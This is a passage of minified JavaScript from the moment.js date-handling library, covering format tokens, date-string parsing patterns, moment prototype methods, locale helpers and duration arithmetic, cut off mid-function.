At="Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),jt="Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),Zt="Su_Mo_Tu_We_Th_Fr_Sa".split("_"),zt=kt,$t=kt,qt=kt;P("H",["HH",2],0,"hour"),P("h",["hh",2],0,te),P("k",["kk",2],0,function(){return this.hours()||24}),P("hmm",0,0,function(){return""+te.apply(this)+b(this.minutes(),2)}),P("hmmss",0,0,function(){return""+te.apply(this)+b(this.minutes(),2)+b(this.seconds(),2)}),P("Hmm",0,0,function(){return""+this.hours()+b(this.minutes(),2)}),P("Hmmss",0,0,function(){return""+this.hours()+b(this.minutes(),2)+b(this.seconds(),2)}),ne("a",!0),ne("A",!1),Y("hour","h"),x("hour",13),C("a",se),C("A",se),C("H",mt),C("h",mt),C("k",mt),C("HH",mt,dt),C("hh",mt,dt),C("kk",mt,dt),C("hmm",_t),C("hmmss",yt),C("Hmm",_t),C("Hmmss",yt),L(["H","HH"],Pt),L(["k","kk"],function(e,t,n){var s=g(e);t[Pt]=24===s?0:s}),L(["a","A"],function(e,t,n){n._isPm=n._locale.isPM(e),n._meridiem=e}),L(["h","hh"],function(e,t,n){t[Pt]=g(e),d(n).bigHour=!0}),L("hmm",function(e,t,n){var s=e.length-2;t[Pt]=g(e.substr(0,s)),t[Wt]=g(e.substr(s)),d(n).bigHour=!0}),L("hmmss",function(e,t,n){var s=e.length-4,i=e.length-2;t[Pt]=g(e.substr(0,s)),t[Wt]=g(e.substr(s,2)),t[Ht]=g(e.substr(i)),d(n).bigHour=!0}),L("Hmm",function(e,t,n){var s=e.length-2;t[Pt]=g(e.substr(0,s)),t[Wt]=g(e.substr(s))}),L("Hmmss",function(e,t,n){var s=e.length-4,i=e.length-2;t[Pt]=g(e.substr(0,s)),t[Wt]=g(e.substr(s,2)),t[Ht]=g(e.substr(i))});var Jt,Bt=I("Hours",!0),Qt={calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},longDateFormat:{LTS:"h:mm:ss A",LT:"h:mm A",L:"MM/DD/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"},invalidDate:"Invalid date",ordinal:"%d",dayOfMonthOrdinalParse:/\d{1,2}/,relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},months:Gt,monthsShort:Vt,week:{dow:0,doy:6},weekdays:At,weekdaysMin:Zt,weekdaysShort:jt,meridiemParse:/[ap]\.?m?\.?/i},Xt={},Kt={},en=/^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/,tn=/^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/,nn=/Z|[+-]\d\d(?::?\d\d)?/,sn=[["YYYYYY-MM-DD",/[+-]\d{6}-\d\d-\d\d/],["YYYY-MM-DD",/\d{4}-\d\d-\d\d/],["GGGG-[W]WW-E",/\d{4}-W\d\d-\d/],["GGGG-[W]WW",/\d{4}-W\d\d/,!1],["YYYY-DDD",/\d{4}-\d{3}/],["YYYY-MM",/\d{4}-\d\d/,!1],["YYYYYYMMDD",/[+-]\d{10}/],["YYYYMMDD",/\d{8}/],["GGGG[W]WWE",/\d{4}W\d{3}/],["GGGG[W]WW",/\d{4}W\d{2}/,!1],["YYYYDDD",/\d{7}/]],rn=[["HH:mm:ss.SSSS",/\d\d:\d\d:\d\d\.\d+/],["HH:mm:ss,SSSS",/\d\d:\d\d:\d\d,\d+/],["HH:mm:ss",/\d\d:\d\d:\d\d/],["HH:mm",/\d\d:\d\d/],["HHmmss.SSSS",/\d\d\d\d\d\d\.\d+/],["HHmmss,SSSS",/\d\d\d\d\d\d,\d+/],["HHmmss",/\d\d\d\d\d\d/],["HHmm",/\d\d\d\d/],["HH",/\d\d/]],an=/^\/?Date\((\-?\d+)/i,on=/^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/,un={UT:0,GMT:0,EDT:-240,EST:-300,CDT:-300,CST:-360,MDT:-360,MST:-420,PDT:-420,PST:-480};e.createFromInputFallback=v("value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are discouraged and will be removed in an upcoming major release. Please refer to http://momentjs.com/guides/#/warnings/js-date/ for more info.",function(e){e._d=new Date(e._i+(e._useUTC?" UTC":""))}),e.ISO_8601=function(){},e.RFC_2822=function(){};var ln=v("moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/",function(){var e=pe.apply(null,arguments);return this.isValid()&&e.isValid()?e<this?this:e:c()}),dn=v("moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/",function(){var e=pe.apply(null,arguments);return this.isValid()&&e.isValid()?e>this?this:e:c()}),hn=["year","quarter","month","week","day","hour","minute","second","millisecond"];De("Z",":"),De("ZZ",""),C("Z",Dt),C("ZZ",Dt),L(["Z","ZZ"],function(e,t,n){n._useUTC=!0,n._tzm=ke(Dt,e)});var cn=/([\+\-]|\d\d)/gi;e.updateOffset=function(){};var fn=/^(\-|\+)?(?:(\d*)[. ])?(\d+)\:(\d+)(?:\:(\d+)(\.\d*)?)?$/,mn=/^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/;xe.fn=ve.prototype,xe.invalid=function(){return xe(NaN)};var _n=We(1,"add"),yn=We(-1,"subtract");e.defaultFormat="YYYY-MM-DDTHH:mm:ssZ",e.defaultFormatUtc="YYYY-MM-DDTHH:mm:ss[Z]";var gn=v("moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.",function(e){return void 0===e?this.localeData():this.locale(e)});P(0,["gg",2],0,function(){return this.weekYear()%100}),P(0,["GG",2],0,function(){return this.isoWeekYear()%100}),Ue("gggg","weekYear"),Ue("ggggg","weekYear"),Ue("GGGG","isoWeekYear"),Ue("GGGGG","isoWeekYear"),Y("weekYear","gg"),Y("isoWeekYear","GG"),x("weekYear",1),x("isoWeekYear",1),C("G",Mt),C("g",Mt),C("GG",mt,dt),C("gg",mt,dt),C("GGGG",pt,ct),C("gggg",pt,ct),C("GGGGG",wt,ft),C("ggggg",wt,ft),N(["gggg","ggggg","GGGG","GGGGG"],function(e,t,n,s){t[s.substr(0,2)]=g(e)}),N(["gg","GG"],function(t,n,s,i){n[i]=e.parseTwoDigitYear(t)}),P("Q",0,"Qo","quarter"),Y("quarter","Q"),x("quarter",7),C("Q",lt),L("Q",function(e,t){t[xt]=3*(g(e)-1)}),P("D",["DD",2],"Do","date"),Y("date","D"),x("date",9),C("D",mt),C("DD",mt,dt),C("Do",function(e,t){return e?t._dayOfMonthOrdinalParse||t._ordinalParse:t._dayOfMonthOrdinalParseLenient}),L(["D","DD"],bt),L("Do",function(e,t){t[bt]=g(e.match(mt)[0])});var pn=I("Date",!0);P("DDD",["DDDD",3],"DDDo","dayOfYear"),Y("dayOfYear","DDD"),x("dayOfYear",4),C("DDD",gt),C("DDDD",ht),L(["DDD","DDDD"],function(e,t,n){n._dayOfYear=g(e)}),P("m",["mm",2],0,"minute"),Y("minute","m"),x("minute",14),C("m",mt),C("mm",mt,dt),L(["m","mm"],Wt);var wn=I("Minutes",!1);P("s",["ss",2],0,"second"),Y("second","s"),x("second",15),C("s",mt),C("ss",mt,dt),L(["s","ss"],Ht);var vn=I("Seconds",!1);P("S",0,0,function(){return~~(this.millisecond()/100)}),P(0,["SS",2],0,function(){return~~(this.millisecond()/10)}),P(0,["SSS",3],0,"millisecond"),P(0,["SSSS",4],0,function(){return 10*this.millisecond()}),P(0,["SSSSS",5],0,function(){return 100*this.millisecond()}),P(0,["SSSSSS",6],0,function(){return 1e3*this.millisecond()}),P(0,["SSSSSSS",7],0,function(){return 1e4*this.millisecond()}),P(0,["SSSSSSSS",8],0,function(){return 1e5*this.millisecond()}),P(0,["SSSSSSSSS",9],0,function(){return 1e6*this.millisecond()}),Y("millisecond","ms"),x("millisecond",16),C("S",gt,lt),C("SS",gt,dt),C("SSS",gt,ht);var Mn;for(Mn="SSSS";Mn.length<=9;Mn+="S")C(Mn,vt);for(Mn="S";Mn.length<=9;Mn+="S")L(Mn,Ne);var Sn=I("Milliseconds",!1);P("z",0,0,"zoneAbbr"),P("zz",0,0,"zoneName");var Dn=m.prototype;Dn.add=_n,Dn.calendar=function(t,n){var s=t||pe(),i=Ye(s,this).startOf("day"),r=e.calendarFormat(this,i)||"sameElse",a=n&&(S(n[r])?n[r].call(this,s):n[r]);return this.format(a||this.localeData().calendar(r,this,pe(s)))},Dn.clone=function(){return new m(this)},Dn.diff=function(e,t,n){var s,i,r;if(!this.isValid())return NaN;if(!(s=Ye(e,this)).isValid())return NaN;switch(i=6e4*(s.utcOffset()-this.utcOffset()),t=O(t)){case"year":r=Re(this,s)/12;break;case"month":r=Re(this,s);break;case"quarter":r=Re(this,s)/3;break;case"second":r=(this-s)/1e3;break;case"minute":r=(this-s)/6e4;break;case"hour":r=(this-s)/36e5;break;case"day":r=(this-s-i)/864e5;break;case"week":r=(this-s-i)/6048e5;break;default:r=this-s}return n?r:y(r)},Dn.endOf=function(e){return void 0===(e=O(e))||"millisecond"===e?this:("date"===e&&(e="day"),this.startOf(e).add(1,"isoWeek"===e?"week":e).subtract(1,"ms"))},Dn.format=function(t){t||(t=this.isUtc()?e.defaultFormatUtc:e.defaultFormat);var n=H(this,t);return this.localeData().postformat(n)},Dn.from=function(e,t){return this.isValid()&&(_(e)&&e.isValid()||pe(e).isValid())?xe({to:this,from:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},Dn.fromNow=function(e){return this.from(pe(),e)},Dn.to=function(e,t){return this.isValid()&&(_(e)&&e.isValid()||pe(e).isValid())?xe({from:this,to:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},Dn.toNow=function(e){return this.to(pe(),e)},Dn.get=function(e){return e=O(e),S(this[e])?this[e]():this},Dn.invalidAt=function(){return d(this).overflow},Dn.isAfter=function(e,t){var n=_(e)?e:pe(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=O(s(t)?"millisecond":t))?this.valueOf()>n.valueOf():n.valueOf()<this.clone().startOf(t).valueOf())},Dn.isBefore=function(e,t){var n=_(e)?e:pe(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=O(s(t)?"millisecond":t))?this.valueOf()<n.valueOf():this.clone().endOf(t).valueOf()<n.valueOf())},Dn.isBetween=function(e,t,n,s){return("("===(s=s||"()")[0]?this.isAfter(e,n):!this.isBefore(e,n))&&(")"===s[1]?this.isBefore(t,n):!this.isAfter(t,n))},Dn.isSame=function(e,t){var n,s=_(e)?e:pe(e);return!(!this.isValid()||!s.isValid())&&("millisecond"===(t=O(t||"millisecond"))?this.valueOf()===s.valueOf():(n=s.valueOf(),this.clone().startOf(t).valueOf()<=n&&n<=this.clone().endOf(t).valueOf()))},Dn.isSameOrAfter=function(e,t){return this.isSame(e,t)||this.isAfter(e,t)},Dn.isSameOrBefore=function(e,t){return this.isSame(e,t)||this.isBefore(e,t)},Dn.isValid=function(){return h(this)},Dn.lang=gn,Dn.locale=Ce,Dn.localeData=Fe,Dn.max=dn,Dn.min=ln,Dn.parsingFlags=function(){return u({},d(this))},Dn.set=function(e,t){if("object"==typeof e)for(var n=function(e){var t=[];for(var n in e)t.push({unit:n,priority:it[n]});return t.sort(function(e,t){return e.priority-t.priority}),t}(e=T(e)),s=0;s<n.length;s++)this[n[s].unit](e[n[s].unit]);else if(e=O(e),S(this[e]))return this[e](t);return this},Dn.startOf=function(e){switch(e=O(e)){case"year":this.month(0);case"quarter":case"month":this.date(1);case"week":case"isoWeek":case"day":case"date":this.hours(0);case"hour":this.minutes(0);case"minute":this.seconds(0);case"second":this.milliseconds(0)}return"week"===e&&this.weekday(0),"isoWeek"===e&&this.isoWeekday(1),"quarter"===e&&this.month(3*Math.floor(this.month()/3)),this},Dn.subtract=yn,Dn.toArray=function(){return[this.year(),this.month(),this.date(),this.hour(),this.minute(),this.second(),this.millisecond()]},Dn.toObject=function(){return{years:this.year(),months:this.month(),date:this.date(),hours:this.hours(),minutes:this.minutes(),seconds:this.seconds(),milliseconds:this.milliseconds()}},Dn.toDate=function(){return new Date(this.valueOf())},Dn.toISOString=function(e){if(!this.isValid())return null;var t=!0!==e,n=t?this.clone().utc():this;return n.year()<0||n.year()>9999?H(n,t?"YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYYYY-MM-DD[T]HH:mm:ss.SSSZ"):S(Date.prototype.toISOString)?t?this.toDate().toISOString():new Date(this._d.valueOf()).toISOString().replace("Z",H(n,"Z")):H(n,t?"YYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYY-MM-DD[T]HH:mm:ss.SSSZ")},Dn.inspect=function(){if(!this.isValid())return"moment.invalid(/* "+this._i+" */)";var e="moment",t="";this.isLocal()||(e=0===this.utcOffset()?"moment.utc":"moment.parseZone",t="Z");var n="["+e+'("]',s=0<=this.year()&&this.year()<=9999?"YYYY":"YYYYYY",i=t+'[")]';return this.format(n+s+"-MM-DD[T]HH:mm:ss.SSS"+i)},Dn.toJSON=function(){return this.isValid()?this.toISOString():null},Dn.toString=function(){return this.clone().locale("en").format("ddd MMM DD YYYY HH:mm:ss [GMT]ZZ")},Dn.unix=function(){return Math.floor(this.valueOf()/1e3)},Dn.valueOf=function(){return this._d.valueOf()-6e4*(this._offset||0)},Dn.creationData=function(){return{input:this._i,format:this._f,locale:this._locale,isUTC:this._isUTC,strict:this._strict}},Dn.year=Lt,Dn.isLeapYear=function(){return E(this.year())},Dn.weekYear=function(e){return Le.call(this,e,this.week(),this.weekday(),this.localeData()._week.dow,this.localeData()._week.doy)},Dn.isoWeekYear=function(e){return Le.call(this,e,this.isoWeek(),this.isoWeekday(),1,4)},Dn.quarter=Dn.quarters=function(e){return null==e?Math.ceil((this.month()+1)/3):this.month(3*(e-1)+this.month()%3)},Dn.month=$,Dn.daysInMonth=function(){return Z(this.year(),this.month())},Dn.week=Dn.weeks=function(e){var t=this.localeData().week(this);return null==e?t:this.add(7*(e-t),"d")},Dn.isoWeek=Dn.isoWeeks=function(e){var t=X(this,1,4).week;return null==e?t:this.add(7*(e-t),"d")},Dn.weeksInYear=function(){var e=this.localeData()._week;return K(this.year(),e.dow,e.doy)},Dn.isoWeeksInYear=function(){return K(this.year(),1,4)},Dn.date=pn,Dn.day=Dn.days=function(e){if(!this.isValid())return null!=e?this:NaN;var t=this._isUTC?this._d.getUTCDay():this._d.getDay();return null!=e?(e=function(e,t){return"string"!=typeof e?e:isNaN(e)?"number"==typeof(e=t.weekdaysParse(e))?e:null:parseInt(e,10)}(e,this.localeData()),this.add(e-t,"d")):t},Dn.weekday=function(e){if(!this.isValid())return null!=e?this:NaN;var t=(this.day()+7-this.localeData()._week.dow)%7;return null==e?t:this.add(e-t,"d")},Dn.isoWeekday=function(e){if(!this.isValid())return null!=e?this:NaN;if(null!=e){var t=function(e,t){return"string"==typeof e?t.weekdaysParse(e)%7||7:isNaN(e)?null:e}(e,this.localeData());return this.day(this.day()%7?t:t-7)}return this.day()||7},Dn.dayOfYear=function(e){var t=Math.round((this.clone().startOf("day")-this.clone().startOf("year"))/864e5)+1;return null==e?t:this.add(e-t,"d")},Dn.hour=Dn.hours=Bt,Dn.minute=Dn.minutes=wn,Dn.second=Dn.seconds=vn,Dn.millisecond=Dn.milliseconds=Sn,Dn.utcOffset=function(t,n,s){var i,r=this._offset||0;if(!this.isValid())return null!=t?this:NaN;if(null!=t){if("string"==typeof t){if(null===(t=ke(Dt,t)))return this}else Math.abs(t)<16&&!s&&(t*=60);return!this._isUTC&&n&&(i=Oe(this)),this._offset=t,this._isUTC=!0,null!=i&&this.add(i,"m"),r!==t&&(!n||this._changeInProgress?He(this,xe(t-r,"m"),1,!1):this._changeInProgress||(this._changeInProgress=!0,e.updateOffset(this,!0),this._changeInProgress=null)),this}return this._isUTC?r:Oe(this)},Dn.utc=function(e){return this.utcOffset(0,e)},Dn.local=function(e){return this._isUTC&&(this.utcOffset(0,e),this._isUTC=!1,e&&this.subtract(Oe(this),"m")),this},Dn.parseZone=function(){if(null!=this._tzm)this.utcOffset(this._tzm,!1,!0);else if("string"==typeof this._i){var e=ke(St,this._i);null!=e?this.utcOffset(e):this.utcOffset(0,!0)}return this},Dn.hasAlignedHourOffset=function(e){return!!this.isValid()&&(e=e?pe(e).utcOffset():0,(this.utcOffset()-e)%60==0)},Dn.isDST=function(){return this.utcOffset()>this.clone().month(0).utcOffset()||this.utcOffset()>this.clone().month(5).utcOffset()},Dn.isLocal=function(){return!!this.isValid()&&!this._isUTC},Dn.isUtcOffset=function(){return!!this.isValid()&&this._isUTC},Dn.isUtc=Te,Dn.isUTC=Te,Dn.zoneAbbr=function(){return this._isUTC?"UTC":""},Dn.zoneName=function(){return this._isUTC?"Coordinated Universal Time":""},Dn.dates=v("dates accessor is deprecated. Use date instead.",pn),Dn.months=v("months accessor is deprecated. Use month instead",$),Dn.years=v("years accessor is deprecated. Use year instead",Lt),Dn.zone=v("moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/",function(e,t){return null!=e?("string"!=typeof e&&(e=-e),this.utcOffset(e,t),this):-this.utcOffset()}),Dn.isDSTShifted=v("isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information",function(){if(!s(this._isDSTShifted))return this._isDSTShifted;var e={};if(f(e,this),(e=ye(e))._a){var t=e._isUTC?l(e._a):pe(e._a);this._isDSTShifted=this.isValid()&&p(e._a,t.toArray())>0}else this._isDSTShifted=!1;return this._isDSTShifted});var kn=k.prototype;kn.calendar=function(e,t,n){var s=this._calendar[e]||this._calendar.sameElse;return S(s)?s.call(t,n):s},kn.longDateFormat=function(e){var t=this._longDateFormat[e],n=this._longDateFormat[e.toUpperCase()];return t||!n?t:(this._longDateFormat[e]=n.replace(/MMMM|MM|DD|dddd/g,function(e){return e.slice(1)}),this._longDateFormat[e])},kn.invalidDate=function(){return this._invalidDate},kn.ordinal=function(e){return this._ordinal.replace("%d",e)},kn.preparse=Ge,kn.postformat=Ge,kn.relativeTime=function(e,t,n,s){var i=this._relativeTime[n];return S(i)?i(e,t,n,s):i.replace(/%d/i,e)},kn.pastFuture=function(e,t){var n=this._relativeTime[e>0?"future":"past"];return S(n)?n(t):n.replace(/%s/i,t)},kn.set=function(e){var t,n;for(n in e)S(t=e[n])?this[n]=t:this["_"+n]=t;this._config=e,this._dayOfMonthOrdinalParseLenient=new RegExp((this._dayOfMonthOrdinalParse.source||this._ordinalParse.source)+"|"+/\d{1,2}/.source)},kn.months=function(e,n){return e?t(this._months)?this._months[e.month()]:this._months[(this._months.isFormat||Nt).test(n)?"format":"standalone"][e.month()]:t(this._months)?this._months:this._months.standalone},kn.monthsShort=function(e,n){return e?t(this._monthsShort)?this._monthsShort[e.month()]:this._monthsShort[Nt.test(n)?"format":"standalone"][e.month()]:t(this._monthsShort)?this._monthsShort:this._monthsShort.standalone},kn.monthsParse=function(e,t,n){var s,i,r;if(this._monthsParseExact)return function(e,t,n){var s,i,r,a=e.toLocaleLowerCase();if(!this._monthsParse)for(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[],s=0;s<12;++s)r=l([2e3,s]),this._shortMonthsParse[s]=this.monthsShort(r,"").toLocaleLowerCase(),this._longMonthsParse[s]=this.months(r,"").toLocaleLowerCase();return n?"MMM"===t?-1!==(i=Ut.call(this._shortMonthsParse,a))?i:null:-1!==(i=Ut.call(this._longMonthsParse,a))?i:null:"MMM"===t?-1!==(i=Ut.call(this._shortMonthsParse,a))?i:-1!==(i=Ut.call(this._longMonthsParse,a))?i:null:-1!==(i=Ut.call(this._longMonthsParse,a))?i:-1!==(i=Ut.call(this._shortMonthsParse,a))?i:null}.call(this,e,t,n);for(this._monthsParse||(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[]),s=0;s<12;s++){if(i=l([2e3,s]),n&&!this._longMonthsParse[s]&&(this._longMonthsParse[s]=new RegExp("^"+this.months(i,"").replace(".","")+"$","i"),this._shortMonthsParse[s]=new RegExp("^"+this.monthsShort(i,"").replace(".","")+"$","i")),n||this._monthsParse[s]||(r="^"+this.months(i,"")+"|^"+this.monthsShort(i,""),this._monthsParse[s]=new RegExp(r.replace(".",""),"i")),n&&"MMMM"===t&&this._longMonthsParse[s].test(e))return s;if(n&&"MMM"===t&&this._shortMonthsParse[s].test(e))return s;if(!n&&this._monthsParse[s].test(e))return s}},kn.monthsRegex=function(e){return this._monthsParseExact?(o(this,"_monthsRegex")||q.call(this),e?this._monthsStrictRegex:this._monthsRegex):(o(this,"_monthsRegex")||(this._monthsRegex=It),this._monthsStrictRegex&&e?this._monthsStrictRegex:this._monthsRegex)},kn.monthsShortRegex=function(e){return this._monthsParseExact?(o(this,"_monthsRegex")||q.call(this),e?this._monthsShortStrictRegex:this._monthsShortRegex):(o(this,"_monthsShortRegex")||(this._monthsShortRegex=Et),this._monthsShortStrictRegex&&e?this._monthsShortStrictRegex:this._monthsShortRegex)},kn.week=function(e){return X(e,this._week.dow,this._week.doy).week},kn.firstDayOfYear=function(){return this._week.doy},kn.firstDayOfWeek=function(){return this._week.dow},kn.weekdays=function(e,n){return e?t(this._weekdays)?this._weekdays[e.day()]:this._weekdays[this._weekdays.isFormat.test(n)?"format":"standalone"][e.day()]:t(this._weekdays)?this._weekdays:this._weekdays.standalone},kn.weekdaysMin=function(e){return e?this._weekdaysMin[e.day()]:this._weekdaysMin},kn.weekdaysShort=function(e){return e?this._weekdaysShort[e.day()]:this._weekdaysShort},kn.weekdaysParse=function(e,t,n){var s,i,r;if(this._weekdaysParseExact)return function(e,t,n){var s,i,r,a=e.toLocaleLowerCase();if(!this._weekdaysParse)for(this._weekdaysParse=[],this._shortWeekdaysParse=[],this._minWeekdaysParse=[],s=0;s<7;++s)r=l([2e3,1]).day(s),this._minWeekdaysParse[s]=this.weekdaysMin(r,"").toLocaleLowerCase(),this._shortWeekdaysParse[s]=this.weekdaysShort(r,"").toLocaleLowerCase(),this._weekdaysParse[s]=this.weekdays(r,"").toLocaleLowerCase();return n?"dddd"===t?-1!==(i=Ut.call(this._weekdaysParse,a))?i:null:"ddd"===t?-1!==(i=Ut.call(this._shortWeekdaysParse,a))?i:null:-1!==(i=Ut.call(this._minWeekdaysParse,a))?i:null:"dddd"===t?-1!==(i=Ut.call(this._weekdaysParse,a))?i:-1!==(i=Ut.call(this._shortWeekdaysParse,a))?i:-1!==(i=Ut.call(this._minWeekdaysParse,a))?i:null:"ddd"===t?-1!==(i=Ut.call(this._shortWeekdaysParse,a))?i:-1!==(i=Ut.call(this._weekdaysParse,a))?i:-1!==(i=Ut.call(this._minWeekdaysParse,a))?i:null:-1!==(i=Ut.call(this._minWeekdaysParse,a))?i:-1!==(i=Ut.call(this._weekdaysParse,a))?i:-1!==(i=Ut.call(this._shortWeekdaysParse,a))?i:null}.call(this,e,t,n);for(this._weekdaysParse||(this._weekdaysParse=[],this._minWeekdaysParse=[],this._shortWeekdaysParse=[],this._fullWeekdaysParse=[]),s=0;s<7;s++){if(i=l([2e3,1]).day(s),n&&!this._fullWeekdaysParse[s]&&(this._fullWeekdaysParse[s]=new RegExp("^"+this.weekdays(i,"").replace(".",".?")+"$","i"),this._shortWeekdaysParse[s]=new RegExp("^"+this.weekdaysShort(i,"").replace(".",".?")+"$","i"),this._minWeekdaysParse[s]=new RegExp("^"+this.weekdaysMin(i,"").replace(".",".?")+"$","i")),this._weekdaysParse[s]||(r="^"+this.weekdays(i,"")+"|^"+this.weekdaysShort(i,"")+"|^"+this.weekdaysMin(i,""),this._weekdaysParse[s]=new RegExp(r.replace(".",""),"i")),n&&"dddd"===t&&this._fullWeekdaysParse[s].test(e))return s;if(n&&"ddd"===t&&this._shortWeekdaysParse[s].test(e))return s;if(n&&"dd"===t&&this._minWeekdaysParse[s].test(e))return s;if(!n&&this._weekdaysParse[s].test(e))return s}},kn.weekdaysRegex=function(e){return this._weekdaysParseExact?(o(this,"_weekdaysRegex")||ee.call(this),e?this._weekdaysStrictRegex:this._weekdaysRegex):(o(this,"_weekdaysRegex")||(this._weekdaysRegex=zt),this._weekdaysStrictRegex&&e?this._weekdaysStrictRegex:this._weekdaysRegex)},kn.weekdaysShortRegex=function(e){return this._weekdaysParseExact?(o(this,"_weekdaysRegex")||ee.call(this),e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex):(o(this,"_weekdaysShortRegex")||(this._weekdaysShortRegex=$t),this._weekdaysShortStrictRegex&&e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex)},kn.weekdaysMinRegex=function(e){return this._weekdaysParseExact?(o(this,"_weekdaysRegex")||ee.call(this),e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex):(o(this,"_weekdaysMinRegex")||(this._weekdaysMinRegex=qt),this._weekdaysMinStrictRegex&&e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex)},kn.isPM=function(e){return"p"===(e+"").toLowerCase().charAt(0)},kn.meridiem=function(e,t,n){return e>11?n?"pm":"PM":n?"am":"AM"},ae("en",{dayOfMonthOrdinalParse:/\d{1,2}(th|st|nd|rd)/,ordinal:function(e){var t=e%10;return e+(1===g(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")}}),e.lang=v("moment.lang is deprecated. Use moment.locale instead.",ae),e.langData=v("moment.langData is deprecated. Use moment.localeData instead.",ue);var Yn=Math.abs,On=$e("ms"),Tn=$e("s"),xn=$e("m"),bn=$e("h"),Pn=$e("d"),Wn=$e("w"),Hn=$e("M"),Rn=$e("y"),Cn=qe("milliseconds"),Fn=qe("seconds"),Un=qe("minutes"),Ln=qe("hours"),Nn=qe("days"),Gn=qe("months"),Vn=qe("years"),En=Math.round,In={ss:44,s:45,m:45,h:22,d:26,M:11},An=Math.abs,jn=ve.prototype;return jn.isValid=function(){return this._isValid},jn.abs=function(){var e=this._data;return this._milliseconds=Yn(this._milliseconds),this._days=Yn(this._days),this._months=Yn(this._months),e.milliseconds=Yn(e.milliseconds),e.seconds=Yn(e.seconds),e.minutes=Yn(e.minutes),e.hours=Yn(e.hours),e.months=Yn(e.months),e.years=Yn(e.years),this},jn.add=function(e,t){return Ae(this,e,t,1)},jn.subtract=function(e,t){return Ae(this,e,t,-1)},jn.as=function(e){if(!this.isValid())return NaN;var t,n,s=this._milliseconds;if("month"===(e=O(e))||"year"===e)return t=this._days+s/864e5,n=this._months+Ze(t),"month"===e?n:n/12;switch(t=this._days+Math.round(ze(this._months)),e){case"week":return t/7+s/6048e5;case"day":return t+s/864e5;case"hour":return 24*t+s/36e5;case"minute":return 1440*t+s/6e4;case"second":return 86400*t+s/1e3;case"millisecond":return Math.floor(864e5*t)+s;default:throw new Error("Unknown unit "+e)}},jn.asMilliseconds=On,jn.asSeconds=Tn,jn.asMinutes=xn,jn.asHours=bn,jn.asDays=Pn,jn.asWeeks=Wn,jn.asMonths=Hn,jn.asYears=Rn,jn.valueOf=function(){return this.isValid()?this._milliseconds+864e5*this._days+this._months%12*2592e6+31536e6*g(this._months/12):NaN},jn._bubble=function(){var e,t,n,s,i,r=this._milliseconds,a=this._days,o=this._months,u=this._data;return r>=0&&a>=0&&o>=0||r<=0&&a<=0&&o<=0||(r+=864e5*je(ze(o)+a),a=0,o=0),u.milliseconds=r%1e3,e=y(r/1e3),u.seconds=e%60,t=y(e/60),u.minutes=t%60,n=y(t/60),u.hours=n%24,a+=y(n/24),i=y(Ze(a)),o+=i,a-=je(ze(i)),s=y(o/12),o%=12,u.days=a,u.months=o,u.years=s,this},jn.clone=function(){return xe(this)},jn.get=function(e){return e=O(e),this.isValid()?this[e+"s"]():NaN},jn.milliseconds=Cn,jn.seconds=Fn,jn.minutes=Un,jn.hours=Ln,jn.days=Nn,jn.weeks=function(){return y(this.days()/7)},jn.months=Gn,jn.years=Vn,jn.humanize=function(e){if(!this.isValid())return this.localeData().invalidDate();var t=this.localeData(),n=function(e,t,n){var s=xe(e).abs(),i=En(s.as("s")),r=En(s.as("m")),a=En(s.as("h")),o=En(s.as("d")),u=En(s.as("M")),l=En(s.as("y")),d=i<=In.ss&&["s",i]||i<In.s&&["ss",i]||r<=1&&["m"]||r<In.m&&["mm",r]||a<=1&&["h"]||a<In.h&&["hh",a]||o<=1&&["d"]||o<In.d&&["dd",o]||u<=1&&["M"]||u<In.M&&["MM",u]||l<=1&&["y"]||["yy",l];return 